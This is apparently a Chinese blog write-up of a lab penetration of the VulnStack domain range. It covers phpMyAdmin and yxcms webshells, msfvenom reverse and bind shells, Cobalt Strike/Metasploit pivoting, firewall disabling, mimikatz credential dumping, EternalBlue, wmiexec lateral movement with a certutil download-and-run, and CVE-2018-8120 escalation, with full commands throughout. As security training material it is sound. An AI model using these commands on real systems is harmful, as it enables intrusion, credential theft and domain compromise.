VulnStack域环境靶场渗透(一)

VulnStack域环境靶场渗透(一)

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.31.229 LPORT=4444 -f exe -o msf1.exe

实验环境

web服务器 192.168.31.79
192.168.52.143
域成员server2003 192.168.52.141
域控server2008 192.168.52.138
物理机 192.168.31.238
kali-vps 192.168.31.229

实验拓扑

在这里插入图片描述

信息收集

使用nmap扫描内网存活主机和端口
nmap -PM 192.168.31.0/24 

在这里插入图片描述

发现192.168.31.79开放了80和3306端口
直接访问地址看看,直接出现phpinfo探针界面,大量的信息被泄露

在这里插入图片描述

利用目录扫描工具

在这里插入图片描述

phpmyadmin

发现扫出了beifen.rar压缩包,以及phpmyadmin后台登录界面
直接登录phpmyadmin界面,成功利用弱口令root/root登录成功

在这里插入图片描述

登录后台的话那就想办法getshell呗
想着后台拥有SQL执行(直接高危),直接操作数据库,
往数据库写文件(木马)试试呢?

into写入文件:
使用需看查要secure_file_priv的值。

当value为“null”时,不允许读取任意文件
当value为“空”时,允许读取任意文件

我们利用后台的SQL执行查看下权限
show global variables like "%secure%"

在这里插入图片描述

以上结果可知无法写入文件,可以实际测试一下

Select '<?php eval($_POST[hack]);?> ' into outfile 'C:/phpStudy/WWW/hack.php'

在这里插入图片描述

考虑使用全局日志写shell,先查看全局变量general_log:
show global variables like '%general_%'
为关闭状态

在这里插入图片描述

开启全局日志并修改日志保存位置为	C:/phpStudy/WWW/hack.php
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/hack.php';
查询一句话并写入日志
Select '<?php eval($_POST[hack]);?>'

在这里插入图片描述

直接利用蚁剑连接shell
http://192.168.31.79/hack.php

在这里插入图片描述


yxcms

直接访问192.168.31.57/yxcms即可打开该网站
根据网站提示直接登录网站后台
http://192.168.31.79/yxcms/index.php?r=admin/index/login
利用bp爆破出后台弱口令	admin/123456

文件上传

成功进入后台后,点击前台模板,然后新增模板,
新建webshell.php文件,写入如下一句话木马
<?php eval($_POST[hack]);?>

在这里插入图片描述

上传成功访问其路径,可参考源码中的存放位置,利用蚁剑连接
http://192.168.31.79/yxcms/protected/apps/default/view/default/webshell.php

在这里插入图片描述


后渗透

CS拿shelll

在kali-vps上启动cs
./teamserver 192.168.31.229 password
客户端直接放在我物理机

在这里插入图片描述

设置监听器---->生成win后门,保存至物理机本地,利用蚁剑上传执行拿shell

在这里插入图片描述

如图成功上线web服务器

在这里插入图片描述


提权

直接右击上线主机,选择提权,直接提权至系统权限

在这里插入图片描述

系统信息收集

终端框输入
shell ipconfig		//执行命令之前要输入shell

在这里插入图片描述

发现两个地址段,31外网段,那么52可能是服务器内网网段

hash值获取

视图----->凭证信息

在这里插入图片描述

开启3389

远程开启3389端口并关闭防火墙

shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关闭防火墙
shell netsh firewall set opmode disable #winsows server 2003 之前
shell netsh advfirewall set allprofiles state off #winsows server 2003 之后

在这里插入图片描述

此时远程桌面被成功打开,并且防火墙被关闭

在这里插入图片描述

成功登录web服务器的远程桌面

msf拿shell

已经利用蚁剑getshell,将shell反弹至cs或者msf

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.31.229 LPORT=4444 -f exe -o msf1.exe
将生成的msf1.exe下载至本地后,利用蚁剑上传至web服务器上,然后执行,msf开启监听
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lport 1234
set lhost 192.168.31.229
run

在这里插入图片描述

msf成功获取shell

在这里插入图片描述

提权

meterpreter > getuid
Server username: GOD\Administrator
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

在这里插入图片描述

获取hash值

run hashdump 

在这里插入图片描述

run post/windows/gather/smart_hashdump 

在这里插入图片描述

mimikatz

迁移至64位进程下
ps	查看进程
migrate 1460

抓取密码
load mimikatz
load winpmem 
creds_all 

在这里插入图片描述

在这里插入图片描述

开启3389

run post/windows/manage/enable_rdp

在这里插入图片描述

cs和msf联动(重点)

目前cs上拥有两个shell
msf拥有一个shell

在这里插入图片描述

在这里插入图片描述

MSF传递CS

在cs上开启一个监听

在这里插入图片描述

然后使用msf的如下模块
use exploit/windows/local/payload_inject 
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true 
set lhost 192.168.31.229
set lport 6666
set session 1	//传递会话的ID
exploit 

在这里插入图片描述


CS传递MSF

将192.168.31.79的管理员权限机器传递给MSF
具体步骤如下:
msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.31.229
set lport 10086

在这里插入图片描述

在cs上开启外部监听
名字 cs-msf
端口 10086

在这里插入图片描述

以上设置完成后,最后在想要传递会话的界面输入 spawn cs-msf

在这里插入图片描述

最后查看msf发现cs的会话成功被msf所接收

在这里插入图片描述

横向渗透

代理

msf+proxychains

添加路由

进入msf直接搭建内网隧道
run post/multi/manage/autoroute

在这里插入图片描述

查看路由

查看路由信息
run autoroute -p

在这里插入图片描述

msf挂代理

添加路由成功后,然后使用socks代理,使用msf如下代理
use auxiliary/server/socks_proxy
端口要保持一致,直接run,然后jobs查看隧道是否在运行
改为5代理,一开始是4搞了半天不行。(踩坑处)

在这里插入图片描述

最后测试能不能访问web服务器的内网地址
proxychains curl http://192.168.52.143

在这里插入图片描述

浏览器测试直接访问内网网站,记得设置代理
http://192.168.52.143/

在这里插入图片描述

到此msf配合proxychains实验成功

CS+proxychains

CS上开启代理

在跳板机上直接设置代理

在这里插入图片描述

然后直接在cs服务器上设置代理为本机的10768端口
具体如下图
踩坑处,cs使用4代理

在这里插入图片描述

接着设置浏览器代理为192.168.31.229:10768端口
成功访问内网网站

在这里插入图片描述


msf挂代理扫描内网

扫描存活主机

使用msf内置模块进行存活主机探测
auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname         #推荐使用 基于netbios协议发现内网存活主机	

在这里插入图片描述

在这里插入图片描述

成功扫到三台存活主机

扫描端口

proxychains nmap -Pn -sT 192.168.52.143	不推荐
nmap -sT -Pn 192.168.52.143 -p 21,22,21,25,80,139,445,3306,3389		扫描指定端口推荐使用

auxiliary/scanner/portscan/tcp           #基于tcp进行端口扫描(默认扫描1-10000)

在这里插入图片描述


内网主机服务探测

auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp                #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version          #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title                 #探测内网http服务的标题
auxiliary/scanner/smb/smb_version            #发现内网smb服务,基于默认的445端口   
auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口 
auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server         #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version            #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字

获取域成员控制权

ms08-067

通过nmap的脚本扫描,扫描内网可能存在的如08067,17010等漏洞

proxychains nmap -sT -sV -Pn -p22,80,443,135,445 --script=smb-vuln-ms08-067.nse 192.168.52.141

在这里插入图片描述

proxychains nmap -sT -sV -Pn -p445 --script=smb-vuln-ms17-010.nse 192.168.52.141  利用msf进行shell,利用如下模块
use exploit/windows/smb/ms08_067_netapi 
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141	
//那一台server2003,运行直接被干崩掉了,无法获取shell

ms17_010

试着利用永恒之蓝漏洞拿shell,先利用nmap漏洞探测脚本是否存在漏洞

proxychains nmap -sT -sV -Pn -p22,80,443,135,445 --script=smb-vuln-ms17-010.nse 192.168.52.141

在这里插入图片描述

接下来利用最熟悉的msf漏洞利用模块直接shell
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.52.141
exploit
没打成功不知道啥原因,但是丝毫不影响对域控的渗透。

获取域控权限

利用nmap扫描是否存在漏洞

proxychains nmap -sT -sV -Pn -p445 --script=smb-vuln-ms17-010.nse 192.168.52.138

在这里插入图片描述

利用msf的模块利用
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.52.138
exploit
又被打蓝屏,未获取到shell
利用另一个模块
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/blind_tcp
获取到shell立马死亡,依然失败心态崩了

最后利用这个模块
auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command 要执行的命令
set command net group /domain	
//利用此模块可以添加域管理员然后登录域控

在这里插入图片描述

VMI获取权限

攻击思路:
可以通过蚁剑将wmiexec.vbs上传至web服务器。在之前已经通过mimikatz获取了域控的密码,所以直接进行远程命令:
cscript.exe wmiexec.vbs /cmd 192.168.52.138 administrator 123456Aa "whoami"
成功回显出当前用户身份信息
wmiexec.vbs脚本项目地址:
https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar

在这里插入图片描述

由于域控处于内网环境且不能访问外网,所以没法使用反向shell,
可以让win7web服务器去正向连接域控,使用msf的bind_tcp模块

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 9999
exploit -j -z
使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,
使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。

msf生成正向马

msfvenom -p windows/meterpreter/bind_tcp lport=9999 -f exe -o shell.exe

在这里插入图片描述

回到一开始web服务器的会话中,将生成的正向连接马传上去,
利用web服务,让域控将此正向连接马下载到本地并执行
cscript.exe wmiexec.vbs /cmd 192.168.52.138 administrator 123456Aa "certutil -urlcache -split -f http://192.168.52.143/shell.exe&shell.exe"

踩坑处(MSF挂代理不然shell弹不回来搞了一上午才想起来)
注意:
这里先进入跳板机win7的shell然后执行wmi命令,执行完成之后,
在返回进行监听,即可获取shell
之前一直利用蚁剑的shell执行命令一直报错,弹不回shell。

在这里插入图片描述

如上图域控被成功shell

CVE-2018-8120 提权

成功上线域控发现并不是系统权限(如果提权不了,上图直接提权成功了。),尝试提权,利用CVE-2018-8120进行提权
项目地址:https://github.com/alpha1ab/CVE-2018-8120
通过蚁剑上传至win7服务器,然后利用ipc渗透上传域控(注意要上传X64位的POC)
net use \\192.168.52.138\ipc$ "123456Aa" /user:administrator

在这里插入图片描述

copy CVE-2018-8120.exe \\192.168.52.138\c$

在这里插入图片描述

然后msf中进入域控的shell然后执行poc
CVE-2018-8120.exe whoami
成功被提权至系统权限

在这里插入图片描述

利用IPC上传mimikatz(将本地的猕猴桃用蚁剑上传至win7服务器)
copy mimikatz.exe \\192.168.52.138\c$
mimikatz.exe  CVE-2018-8120.exe		
//以系统权限启动猕猴桃(可以用系统权限执行任何命令)

猜你喜欢

转载自blog.csdn.net/qq_43590351/article/details/120390706
今日推荐